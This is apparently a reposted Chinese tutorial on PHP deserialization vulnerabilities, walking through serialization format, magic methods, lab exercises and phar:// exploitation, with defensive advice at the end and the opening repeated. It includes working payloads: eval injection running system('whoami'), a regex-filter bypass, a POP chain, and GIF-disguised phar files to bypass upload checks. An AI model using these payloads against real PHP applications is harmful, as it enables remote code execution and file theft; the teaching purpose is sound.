PHP反序列化漏洞从入门到深入8k图文介绍,以及phar伪协议的利用

news2024/11/26 23:38:57

文章参考:w肝了两天!PHP反序列化漏洞从入门到深入8k图文介绍,以及phar伪协议的利用

前言

本文内容主要分为三个部分:原理详解、漏洞练习和防御方法。这是一篇针对PHP反序列化入门者的手把手教学文章特别适合刚接触PHP反序列化的师傅们。本文的特色在于对PHP反序列化原理进行了深入细致的分析,并提供了一系列由简入深的PHP反序列化习题,配以详细的练习和分析讲解。

序列化介绍

序列化是指将变量转换为一种可保存或传输的字符串形式的过程;

而反序列化则是在需要的时候,将这个字符串重新转换回原来的变量形式以供使用。

这两个过程相辅相成,为数据的存储和传输提供了极大的便利,同时也使得程序更加易于维护和扩展。

例子

将一大段对象序列化压缩成字符串.然后根据要求反序列化重新构造对象.(②是序列化的格式,下文详解)

class Person
{
    public $name; //public 修饰的这个成员在任何地方都可以使用
    private $age; //private 修饰的成员只能被 其所在类 的其他成员访问
    protected $sex; //protected 修饰的类成员 所在类的子类以及同一个包内的其他类 访问

    function sayName()
    {
        echo $this->name;
    }
    function sayAge()
    {
        echo $this->age;
    }

    function saySex()
    {
        echo $this->sex;
    }

    function __construct($name, $age,$sex)
    {
        $this->name = $name;
        $this->age = $age;
        $this->sex = $sex;//protected修饰的sex
    }
}
$person=new Person('张三',20,'boy');
$person->sayName();//张三
$person->sayAge();//20
$person->saySex();//boy
echo '</br>';
// 序列化:serialize将php的遍历变量(数组、对象等)转化成一个 可以存储或传输的字符串 表示的函数。即---对象压缩成字符串
echo serialize($person);//O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";}
echo "</br>";
// 因为我们需要使用url进行测试,所以将这个转化后的字符串进行url编码,便于之后进行反序列化测试
echo urlencode(serialize($person));//O%3A6%3A%22Person%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22%E5%BC%A0%E4%B8%89%22%3Bs%3A11%3A%22%00Person%00age%22%3Bi%3A20%3Bs%3A6%3A%22%00%2A%00sex%22%3Bs%3A3%3A%22boy%22%3B%7D

get.php进行反序列化,将上面进行url编码的内容传到这个php,进行反序列化(将字符串还原成对象)

<?php
$html =unserialize($_GET['html']);
echo $html;

image-20240726173131108

image-20240726173131108

在上面的代码中我们可以看到序列化之后的内容为,将其进行分段详细解析

O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";}

O : 自定义对象 object
6  : 类名的长度
:3 : 3个成员属性
s:4 : 你的成员属性名  长度为4 ,并且是一个字符串   string
s:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位
s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别.
i:20 :  20是age的属性值 , i是代表  integer类型

s:6:"*sex";  sex这个属性是一个受保护的属性,特征就是 * 号

s:3:"boy : 代表 string类型,属性值长度为3位  boy对应是  sex的属性值

private和 protected详解

//protected举例
class Animal
{
    protected $name;
    //构造函数,即当你创建一个新对象时,这个方法会自动被调用,用于被初始化对象。
    //构造函数可以接收参数,这些参数可以用来设置对象的初始状态。
    public function __construct($name)
    {
        $this->name = $name;
    }

    protected function getName()
    {
        echo $this->name ." 小羽网安";
    }
}
///extends继承
class Dog extends Animal
{
    public function __construct($name)
    {
        //调用父类的构造函数
        parent::__construct($name);
    }
//    public function introduce()
//    {
//        //调用父类的eat方法
//        parent::getName();
//        echo $this->name ." Dog类别的输出";
//    }
    public function getDog()
    {
        $this->getName();//调用继承类的getName方法
        echo '<br/>继承之后,继续调用的函数';

    }
}

$myDog=new Dog("<br/>hellow");
$myDog->getDog(); //hellow 小羽网安<br/>继承之后,继续调用的函数
$myName=new Animal("游不动的小鱼丶");
//$myName->getName();//无法从外部访问这个成员,Fatal error: Uncaught Error: Call to protected method Animal::getName() from context 
//$myDog->getName();//无法从继承之后的类访问这个成员Fatal error: Uncaught Error: Call to protected method Animal::getName() from context
?>

PHP在序列化含有private和protected权限的变量时,会在变量名前添加ASCII码为0的不可见字符,表现为%00类名%00属性名%00*%00属性名。这些字符在显示和输出时可能不易察觉,甚至导致数据截断。为了清晰查看,可将序列化后的字符串进行urlencode编码后打印输出。

image-20240728172222477

image-20240728172222477

案例,直接将我们url编码的结果复制到解码工具,会发现每个protected、private属性前面会有个这个符号就是%00

image-20240728172842010

image-20240728172842010

PHP常见的魔术方法

__construct

用于在创建对象时自动调用,主要用于初始化对象。

<?php  
//声明一个类为Person
class Person {  
    public $name;  
    public $age;  
  
    // 构造函数  
    public function __construct($name, $age) {  
        $this->name = $name;  
        $this->age = $age;  
    }  
  
    // 一个普通的方法,用于显示信息  
    public function displayInfo() {  
        echo "Name: " . $this->name . ", Age: " . $this->age . "<br>";  
    }  
}  
  
// 创建Person对象  
$person1 = new Person("John", 30);  
$person2 = new Person("Jane", 25);  
  
// 调用方法显示信息  
$person1->displayInfo(); // 打印:Name: John, Age: 30  
$person2->displayInfo(); // 打印:Name: Jane, Age: 25  
?>

__destruct

它在对象被销毁时自动调用。这通常发生在对象的所有引用都被删除或者脚本执行结束时。__destruct() 方法常用于执行一些清理操作,比如关闭文件、释放资源等。

<?php  
class Person {  
    public $name;  
  
    // 构造函数  
    public function __construct($name) {  
        $this->name = $name;  
        echo "构造函数被调用,对象 {$this->name} 被创建。<br>";  
    }  
  
    // 析构函数  
    public function __destruct() {  
        echo "析构函数被调用,对象 {$this->name} 被销毁。<br>";  
    }  
}  
  
// 创建Person对象  
$person = new Person("John");  
  
// 脚本结束时,$person 对象会被自动销毁,此时会调用 __destruct() 方法  
?>

__toString

它允许一个类对象在被当作字符串处理时自动调用该方法,并返回该对象的一个字符串表示。这通常用于调试目的,或者当你需要将对象以字符串形式输出时。

<?php  
class Person {  
    public $name;  
    public $age;  
  
    // 构造函数  
    public function __construct($name, $age) {  
        $this->name = $name;  
        $this->age = $age;  
    }  
  
    // __toString() 方法  
    public function __toString() {  
        return "Person Object (Name: {$this->name}, Age: {$this->age})";  
    }  
}  
  
// 创建Person对象  
$person = new Person("John", 30);  
  
// 当对象被当作字符串处理时,__toString() 方法会被自动调用  
echo $person; // 打印:Person Object (Name: John, Age: 30)  
?>

__invoke

允许一个对象像函数那样被调用。当你尝试以调用函数的方式调用一个对象时(例如,$obj()),__invoke() 方法会被自动调用。

<?php  
class Greeter {  
    public $name;  
  
    // 构造函数  
    public function __construct($name) {  
        $this->name = $name;  
    }  
  
    // __invoke() 方法  
    public function __invoke() {  
        echo "Hello, {$this->name}!<br>";  
    }  
}  
  
// 创建Greeter对象  
$greeter = new Greeter("World");  
  
// 当对象被当作函数调用时,__invoke() 方法会被自动调用  
$greeter(); // 打印:Hello, World!  
?>

__call

它在尝试调用一个对象中不可访问的方法时被调用。

class MyClass {  
    private function myPrivateMethod($param1, $param2) {  
        echo "调用了一个私有方法:$param1, $param2\n";  
    }  
  
    public function __call($name, $arguments) {  
        if ($name === 'myPrivateMethod') {  
            return $this->myPrivateMethod($arguments[0], $arguments[1]);  
        } else {  
            echo "尝试调用的方法 '$name' 不存在。\n";  
        }  
    }  
}  
  
$obj = new MyClass();  
$obj->myPrivateMethod('Hello', 'World'); // 调用私有方法  
$obj->myNonExistingMethod('Foo', 'Bar'); // 尝试调用不存在的方法

__sleep

它在对象被序列化时调用。(序列化:将一个对象转化为字符串。)

class MyClass {  
    public $prop1 = 'value1';  
    public $prop2 = 'value2';  
    private $prop3 = 'value3';  
  
    public function __sleep() {  
        // 返回不需要被序列化的属性名称数组  
        return array('prop2');  
    }  
}  
  
$obj = new MyClass();  
$serialized = serialize($obj);  
echo $serialized; // 输出序列化后的字符串,其中不包含 $prop2

一.初步认识

写入反序列化文件index.php,通过传参让页面出现phpinfo页面

class one
{
    var $b="phpinfo();";

    function action()
    {
        eval($this->b);//eval:用于执行一段php代码字符串。
    }
}

$a=unserialize($_GET['obj']);//将获取到的参数进行反序列化
$a->action();//执行这个方法

分析payload

O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}

image-20240728203541947

image-20240728203541947

新建一个序列化test.php文件用于存放预构造的代码

<?php

class one
{
    var $b='eval($_GET[2]);';

    function action()
    {
        eval($this->b);
    }
}

$a=new one();
$a->action();
echo serialize($a);//实例化一个对象,将其序列化的内容打印出来

得到其序列化的结果,在我们的页面最下面

image-20240728205317031

image-20240728205317031

我们将他反序列化-->index.php进行传参

image-20240728205358614

image-20240728205358614

很好,能得到我们的结果,如果你疑问是不是index.php代码中包含了phpinfo(),所以他才能执行

image-20240728210018019

image-20240728210018019

emmm,完全不需要顾虑,我们来验证这个结论,把这个自定义代码删掉

image-20240728210032604

image-20240728210032604

嗯,很好,验证了我们的结论,这个反序列化漏洞,是可以进行任意代码执行

image-20240728210055297

image-20240728210055297

注意前面那个s,代表着你执行的代码字符串长度,大于或者小于这个长度,都是执行不了的

image-20240728210618064

image-20240728210618064

当然也可以使用这种payload

http://127.0.0.1/index.php?obj=O:3:"one":1:{s:1:"b";s:15:"eval($_GET[2]);";}&2=echo system('whoami');

image-20240728213158471

image-20240728213158471

在考虑完过滤等先决条件后,找到可控点,构造成我们想要执行的代码,将其反序列化利用。这个过程不要去看原来代码想要执行的,关键是去构造你要执行的

二.简单利用

简单利用反序列化index.php代码参考:

<?php
class one
{
    var $b = 'echo 123;';

    function action()
    {
        eval($this->b);
    }
}
class Student
{
    var $a;

    function __construct()
    {
        $this->a = new one();
    }

    function __destruct()
    {
        $this->a->action();
    }
}
unserialize($_GET[1]);

新建一个test.php用于获取序列化结果,获取我们的参数

<?php

class one
{
    var $b = 'echo 123;';

    function action()
    {
        eval($this->b);
    }
}

class Student
{
    var $a;
    //构造函数,对象被实例化即new的时候调用
    function __construct()
    {
        $this->a = new one();
    }
    //折构函数:被销毁时候调用
    function __destruct()
    {
        $this->a->action();
    }
}
$one = new Student();
echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:9:"echo 123;";}}

这时候再回到我们index.php

image-20240729094454902

image-20240729094454902

可以正常执行代码,那么我们在test.php修改我们的payload为执行系统命令whoami,获取反序列化的攻击载荷

<?php

class one
{
    var $b = 'system("whoami");';

    function action()
    {
        eval($this->b);
    }
}

class Student
{
    var $a;
    //构造函数,对象被实例化即new的时候调用
    function __construct()
    {
        $this->a = new one();
    }
    //折构函数:被销毁时候调用
    function __destruct()
    {
        $this->a->action();
    }
}
$one = new Student();
echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:17:"system("whoami");";}}

复制这个结果,使用具有反序列化漏洞的index.php进行传参

image-20240729094904495

image-20240729094904495

三、相关绕过

任务:访问当前目录的1.txt文件

构造环境

创建一个1.txt文件,输入任意内容,通过反序列化读取文件内容。

image-20240729100332041

image-20240729100332041

习题代码

<?php
@error_reporting(1);
echo $_GET['data'];
class baby
{
    public $file;
    function __toString()
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (file_get_contents($filename))
            {
                return file_get_contents($filename);
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }
}
else
{
    highlight_file("./test4.php");
}
?>

这段PHP代码包含两部分:上部分定义了一个baby类,包含一个file属性和一个__toString魔术方法,用于读取并返回文件内容。下部分接收GET请求中的data参数,进行过滤后反序列化,并打印结果。理解这两部分的关系,特别是类的序列化形式,对于执行预期操作至关重要。

既然上半部分定义了类,下半部分只是过滤的代码,可以将上半部分抽离出来,查看序列化的结果,以便于反序列化

image-20240729102904137

image-20240729102904137

同上面一样构造序列化test.php

<?php

@error_reporting(1);
echo $_GET['data'];
class baby
{
    //构造你要读取的文件
    public $file="1.txt";
    function __toString()
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (file_get_contents($filename))
            {
                return file_get_contents($filename);
            }
        }
    }
}
echo serialize(new baby());

image-20240729103212871

image-20240729103212871

.过滤:代码块中通过正则,不区分大小写的o,c字符,去匹配字符的冒号后的数字来做校验

image-20240729103422559

image-20240729103422559

可以通过+4等价代替 4 从而绕过检测(+ url编码为%2b)

payload  O:%2b4:"baby":1:{s:4:"file";s:5:"1.txt";}

image-20240729122741458

image-20240729122741458

四、开始上手

任务:读取 flag.游不动的鱼宝丶

class A
{
    public $mod1;
    public $mod2;
    //对象销毁之后调用
    public function __destruct()
    {
        $this->mod1->test1();
    }
}

class B
{
    public $mod1;
    public $mod2;

    public function test1()
    {
        $this->mod1->test2();
    }
}

class C
{
    public $mod1;
    public $mod2;
    //__call尝试调用一个对象中不可访问的方法时被调用。
    public function __call($test2, $arr)
    {
        $s1 = $this->mod1;
        $s1();
    }
}

class D
{
    public $mod1;
    public $mod2;
    //__invoke允许一个对象像函数那样被调用
    public function __invoke()
    {
        $this->mod2 = "字符串拼接" . $this->mod1;
    }
}

class E
{
    public $str1;
    public $str2;

    public function __toString()
    {
        $this->str1->get_flag();
        return "1";
    }
}

class GetFlag
{
    public function get_flag()
    {
        echo "flag:" . "游不动的鱼宝丶";
    }
}

$a = $_GET['obj'];
unserialize($a);

我们来分析代码,E类中的魔术方法调用了GetFlag类中的方法

image-20240729141440997

image-20240729141440997

这里的字符串拼接,调用了**__toString**魔术方法

image-20240729141613497

image-20240729141613497

C类中的成员以函数的形式调用了自己的成员

image-20240729142002670

image-20240729142002670

B类中的函数调用了C类中的$test2成员

image-20240729142122451

image-20240729142122451

最后销毁

image-20240729142306025

image-20240729142306025

代码构造: 通过 __construct()魔术方法,创建对象的时候自动调用 / 即在每一个类中都添加一个构造方法

<?php
class A
{
    public $mod1;
    public $mod2;
    //通过 __construct()魔术方法,创建对象的时候自动调用
    public function __construct()
    {
        $this->mod1 = new  B();
    }
    public function __destruct()
    {
        $this->mod1->test1();
    }
}
class B
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new  C();
    }
    public function test1()
    {
        $this->mod1->test2();
    }
}
class C
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new  D();
    }
    public function __call($test2, $arr)
    {
        $s1 = $this->mod1;
        $s1();
    }
}
class D
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new  E();
    }
    public function __invoke()
    {
        $this->mod2 = "字符串拼接" . $this->mod1;
    }
}
class E
{
    public $str1;
    public $str2;
    public function __construct()
    {
        $this->str1 = new  GetFlag();
    }
    public function __toString()
    {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag
{
    public function get_flag()
    {
        echo "flag:" . "游不动的鱼宝丶";
    }
}
$c = new A;
echo serialize($c);//O:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

序列化输出结果

image-20240729143728469

image-20240729143728469

得到payload

O:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

使用具有该反序列化漏洞的index.php

image-20240729144030410

image-20240729144030410

总结:从习题中不难看出, 漏洞的主要的原因就是在反序列化的过程中,通过我们的恶意篡改会产生魔法函数绕过,字符逃逸,远程命令执行等漏洞。

Phar文件和Phar协议

前言

在PHP应用中,随着代码安全性的提升,直接利用unserialize()函数的反序列化漏洞变得越来越困难。为了绕过这一限制,攻击者开始利用PHAR文件存储用户自定义元数据为序列化的特性,为反序列化漏洞的攻击提供了新的途径。即使在没有直接的unserialize()调用或缺乏传参接口的情况下,攻击者仍可以通过可控的文件系统函数,配合phar://伪协议,实现不依赖unserialize()的直接反序列化操作。攻击者只需构造包含恶意代码的PHAR文件并上传到目标网站,然后通过特定方式触发反序列化,即可达到攻击目的。

phar文件详解

Phar文件是一种PHP归档格式,用于将多个PHP代码文件及其他资源(如图像、样式表等)打包成一个文件,便于应用程序和库的分发。其独特之处在于,它会以序列化的形式存储用户自定义的meta-data。当文件操作函数处理phar文件时,会自动触发meta-data的反序列化过程。

phar文件分为四层

  1. Stub(存根):Phar文件的文件头,必须以<?php xxx __HALT_COMPILER(); ?>结尾,其中xxx可以是自定义的任何字符,如果不定义则默认为<?php __HALT_COMPILER(); ?>

  2. Manifest(清单):包含了压缩文件的权限、属性以及序列化形式存储的用户自定义元数据等信息。在利用Phar反序列化漏洞时,Manifest中的序列化字符串是攻击的主要目标。

  3. Contents(内容):包含了实际的文件内容,比如PHP脚本、图片、样式表等应用程序正常运行所需的其他文件。这些文件在Phar文件中被压缩存储,以节省空间并便于分发。

  4. Signature(签名)(可选):验证Phar文件的完整性和真实性。

生成phar文件
1.准备环境

1.1Phar需要 PHP >= 5.2 1.2在php.ini中将phar.readonly设为Off(注意去掉前面的分号)

php配置

image-20240729160528265

image-20240729160528265

具体index.php代码,phar文件生成

<?php
class AnyClass{
    var $output = 'phpinfo();';
    function __destruct()
    {
        eval($this -> output);
    }
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new AnyClass();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

访问index.php生成phar文件

image-20240729174413855

image-20240729174413855

查看目录

image-20240729174440869

image-20240729174440869

这里就有了序列化之后的结果

image-20240729174654715

image-20240729174654715

Tips : phar.phar文件是在本地生成后上传到目标网站的。配合phar协议和相关函数,它可以构成反序列化攻击的杀伤链。因此,前置的PHP环境配置操作不会影响后续的攻击实施。利用的关键在于:

  1. phar文件必须能上传到服务器;
  2. 存在可用的魔术方法作为攻击的“跳板”;
  3. 文件操作函数的参数可控,且特殊字符如./../phar等未被过滤。

php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇测试后发布的受影响的函数如下 :

文件操作函数

image-20240729193959585

image-20240729193959585

绕过技巧

1.环境限制了phar不能出现在前面的字符里
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar
2.验证文件格式
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
3、绕过上传后缀检查

即使将文件后缀改为gif也不影响phar的文件最终执行

image-20240729221202538

image-20240729221202538

执行index.php

image-20240729221130203

image-20240729221130203

一.初步了解

任务:目标1.php界面任务执行phpinfo()

1、index.php代码(具有phar协议反序列化漏洞的代码)

<?php
class Files
{
    var $b = 'echo ok;';
    function __destruct()
    {
        eval($this->b);
    }
}
//$file = '../'.$_GET['file'];
is_dir('phar://phar.phar/test.txt');

2、test.php攻击代码

<?php
class Files{
    var $b = 'phpinfo();';
    function __destruct()
    {
        eval($this -> b);
    }
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,验证文件格式
$o = new Files();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

image-20240729192637278

image-20240729192637278

这里我们执行我们的攻击代码,生成phar.phar文件

image-20240729192802963

image-20240729192802963

可以查看phar.phar文件(.metadata.bin放置着序列化的恶意代码)

image-20240729192839186

image-20240729192839186

生成成功后我们就可以利用这个具有phar协议反序列化漏洞index.php访问了,执行成功

image-20240729192946420

image-20240729192946420

看不出效果?那么这样呢

image-20240729193311833

image-20240729193311833

访问test.php,为空白界面

image-20240729193131831

image-20240729193131831

查看文件

image-20240729193342021

image-20240729193342021

对payload的obj参数进行传参

image-20240729193401008

image-20240729193401008

执行系统命令

image-20240729193457866

image-20240729193457866

二、进一步了解

通过phar协议读取Destruct called

目标文件

class TestObject
{
    public function __destruct()
    {
        echo 'Destruct called';
    }
}

$filename = $_GET['cmd'];
file_get_contents($filename);

image-20240729222723132

image-20240729222723132

分析:存在可控点以及文件操作函数file_get_contents,需要通过phar协议的反序列化功能,配合file_get_contents函数,执行phar.phar文件内序列化后的代码

1、同理,构造phar.phar文件,将恶意代码序列化存入phar.phar的.metadata.bin文件中

phar.phar文件生成

image-20240729233055730

image-20240729233055730

成功利用phar协议,执行了具有phar协议反序列化漏洞的php文件,并成功获取到了魔术方法中的内容

image-20240729233142057

image-20240729233142057

扩展:练习

具体代码

class Test
{
    public $num = 2;

    public function __destruct()
    {
        if ($this->num === 1) {
            echo 'flag{123}';
        }
    }
}
echo file_get_contents($_GET['data']);

image-20240729233627801

image-20240729233627801

(关键在于构建恶意的代码,关注点在num=1)

image-20240729233658296

image-20240729233658296

再深入

任务:通过phar协议执行phpinfo

详细:通过upload_file.php,index.php,page.php文件模拟攻击目标,使用phar文件和phar协议执行反序列化,达到任意代码执行效果.

环境准备

1.www/目录(网站根目录)下放upload_file.php,index.php,page.php文件

2.www/目录(网站根目录)下新建upload_file文件夹

3.各个文件内容及解释

<?php
if (($_FILES["file"]["type"] == "image/gif") && (substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.') + 1)) == 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"])) {
        echo $_FILES["file"]["name"] . " already exists. ";
    } else {
        move_uploaded_file($_FILES["file"]["tmp_name"],
            "upload_file/" . $_FILES["file"]["name"]);
        echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
    }
} else {
    echo "Invalid file,you can only upload gif";
}

upload_file.php:内容做了一个上传文件后缀的限制

upload_file.php

image-20240729234247144

image-20240729234247144

index.php 提供一个上传界面

<body>
<form action="/upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

image-20240730001201869

image-20240730001201869

page.php 目标可控点

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);//用于检查文件或目录是否存在

page.php

image-20240729234411782

image-20240729234411782

分析

1.目标存在可控点以及文件操作函数

page.php分析

image-20240729234740648

image-20240729234740648

受影响的文件操作函数表

image-20240729234950662

image-20240729234950662

2.只有upload_file.php的对上传文件的后缀类型进行限制,但是!我们phar文件也可以使用gif后缀!文章中有提到,可以仔细看一看。

image-20240729235300227

image-20240729235300227

所以这题我们就可以使用phar协议进行漏洞复现

开始解题

1、构造上传文件phar,test.php

<?php
class AnyClass{
    var $output = 'phpinfo();';
    function __destruct()
    {
        eval($this -> output);
    }
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,验证文件格式
$o = new AnyClass();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

image-20240729235720606

image-20240729235720606

检查我们的payload

image-20240730001523626

image-20240730001523626

改文件名

image-20240729235814518

image-20240729235814518

上传之前,新建一个upload_file文件夹

image-20240730001326080

image-20240730001326080

因为这里测试的文件上传代码保存在这个文件夹中

image-20240730001421961

image-20240730001421961

开始上传

image-20240729235930816

image-20240729235930816

上传成功

image-20240730001244615

image-20240730001244615

执行我们的payload漂亮!

image-20240730001659348

image-20240730001659348

反序列化漏洞预防

使用安全的序列化/反序列化库

  • 选择经过安全审计的、维护良好的序列化库。
  • 避免使用已知存在安全漏洞的库。

限制反序列化的类型

  • 只允许反序列化预定义、可信的类。
  • 使用类型安全的序列化机制,如Java中的ObjectOutputStreamObjectInputStream时,可以使用enableSubstitution方法来限制反序列化的类。

数据完整性验证

  • 在序列化和反序列化过程中,使用数字签名或消息认证码(MAC)来验证数据的完整性。
  • 确保序列化数据在传输过程中未被篡改。

定期审计和测试

  • 定期对应用程序进行安全审计,以识别潜在的反序列化漏洞。
  • 使用自动化工具和手动测试方法来检测和利用反序列化漏洞。

原文有一定缺陷,在本文已修复,并且本文也比较通俗易懂

文章参考:https://mp.weixin.qq.com/s/98SP8M-OjkvLw4lPi3ojvQ

肝了两天!PHP反序列化漏洞从入门到深入8k图文介绍,以及phar伪协议的利用

PHP反序列化入门手把手详解

前言

搜索框传播样式-白色版

本文内容主要分为三个部分:原理详解、漏洞练习和防御方法。这是一篇针对PHP反序列化入门者的手把手教学文章特别适合刚接触PHP反序列化的师傅们。本文的特色在于对PHP反序列化原理进行了深入细致的分析,并提供了一系列由简入深的PHP反序列化习题,配以详细的练习和分析讲解。

序列化介绍

序列化是指将变量转换为一种可保存或传输的字符串形式的过程;

而反序列化则是在需要的时候,将这个字符串重新转换回原来的变量形式以供使用。

这两个过程相辅相成,为数据的存储和传输提供了极大的便利,同时也使得程序更加易于维护和扩展。

例子

将一大段对象序列化压缩成字符串.然后根据要求反序列化重新构造对象.(②是序列化的格式,下文详解)

class Person
{
    public $name; //public 修饰的这个成员在任何地方都可以使用
    private $age; //private 修饰的成员只能被 其所在类 的其他成员访问
    protected $sex; //protected 修饰的类成员 所在类的子类以及同一个包内的其他类 访问
​
    function sayName()
    {
        echo $this->name;
    }
    function sayAge()
    {
        echo $this->age;
    }
​
    function saySex()
    {
        echo $this->sex;
    }
​
    function __construct($name, $age,$sex)
    {
        $this->name = $name;
        $this->age = $age;
        $this->sex = $sex;//protected修饰的sex
    }
}
$person=new Person('张三',20,'boy');
$person->sayName();//张三
$person->sayAge();//20
$person->saySex();//boy
echo '</br>';
// 序列化:serialize将php的遍历变量(数组、对象等)转化成一个 可以存储或传输的字符串 表示的函数。即---对象压缩成字符串
echo serialize($person);//O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";}
echo "</br>";
// 因为我们需要使用url进行测试,所以将这个转化后的字符串进行url编码,便于之后进行反序列化测试
echo urlencode(serialize($person));//O%3A6%3A%22Person%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22%E5%BC%A0%E4%B8%89%22%3Bs%3A11%3A%22%00Person%00age%22%3Bi%3A20%3Bs%3A6%3A%22%00%2A%00sex%22%3Bs%3A3%3A%22boy%22%3B%7D
​

get.php进行反序列化,将上面进行url编码的内容传到这个php,进行反序列化(将字符串还原成对象)

<?php
$html =unserialize($_GET['html']);
echo $html;

image-20240726173131108

在上面的代码中我们可以看到序列化之后的内容为,将其进行分段详细解析

O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";}
​
O : 自定义对象 object
6  : 类名的长度
:3 : 3个成员属性
s:4 : 你的成员属性名  长度为4 ,并且是一个字符串   string
s:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位
s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别.
i:20 :  20是age的属性值 , i是代表  integer类型
​
s:6:"*sex";  sex这个属性是一个受保护的属性,特征就是 * 号
​
s:3:"boy : 代表 string类型,属性值长度为3位  boy对应是  sex的属性值

private和 protected详解

//protected举例
class Animal
{
    protected $name;
    //构造函数,即当你创建一个新对象时,这个方法会自动被调用,用于被初始化对象。
    //构造函数可以接收参数,这些参数可以用来设置对象的初始状态。
    public function __construct($name)
    {
        $this->name = $name;
    }
​
    protected function getName()
    {
        echo $this->name ." 小羽网安";
    }
}
///extends继承
class Dog extends Animal
{
    public function __construct($name)
    {
        //调用父类的构造函数
        parent::__construct($name);
    }
//    public function introduce()
//    {
//        //调用父类的eat方法
//        parent::getName();
//        echo $this->name ." Dog类别的输出";
//    }
    public function getDog()
    {
        $this->getName();//调用继承类的getName方法
        echo '<br/>继承之后,继续调用的函数';
​
    }
}
​
$myDog=new Dog("<br/>hellow");
$myDog->getDog(); //hellow 小羽网安<br/>继承之后,继续调用的函数
$myName=new Animal("游不动的小鱼丶");
//$myName->getName();//无法从外部访问这个成员,Fatal error: Uncaught Error: Call to protected method Animal::getName() from context 
//$myDog->getName();//无法从继承之后的类访问这个成员Fatal error: Uncaught Error: Call to protected method Animal::getName() from context
?>

PHP在序列化含有private和protected权限的变量时,会在变量名前添加ASCII码为0的不可见字符,表现为%00类名%00属性名%00*%00属性名。这些字符在显示和输出时可能不易察觉,甚至导致数据截断。为了清晰查看,可将序列化后的字符串进行urlencode编码后打印输出。

image-20240728172222477

案例,直接将我们url编码的结果复制到解码工具,会发现每个protected、private属性前面会有个这个符号就是%00

image-20240728172842010

PHP常见的魔术方法

__construct

用于在创建对象时自动调用,主要用于初始化对象。

<?php  
//声明一个类为Person
class Person {  
    public $name;  
    public $age;  
  
    // 构造函数  
    public function __construct($name, $age) {  
        $this->name = $name;  
        $this->age = $age;  
    }  
  
    // 一个普通的方法,用于显示信息  
    public function displayInfo() {  
        echo "Name: " . $this->name . ", Age: " . $this->age . "<br>";  
    }  
}  
  
// 创建Person对象  
$person1 = new Person("John", 30);  
$person2 = new Person("Jane", 25);  
  
// 调用方法显示信息  
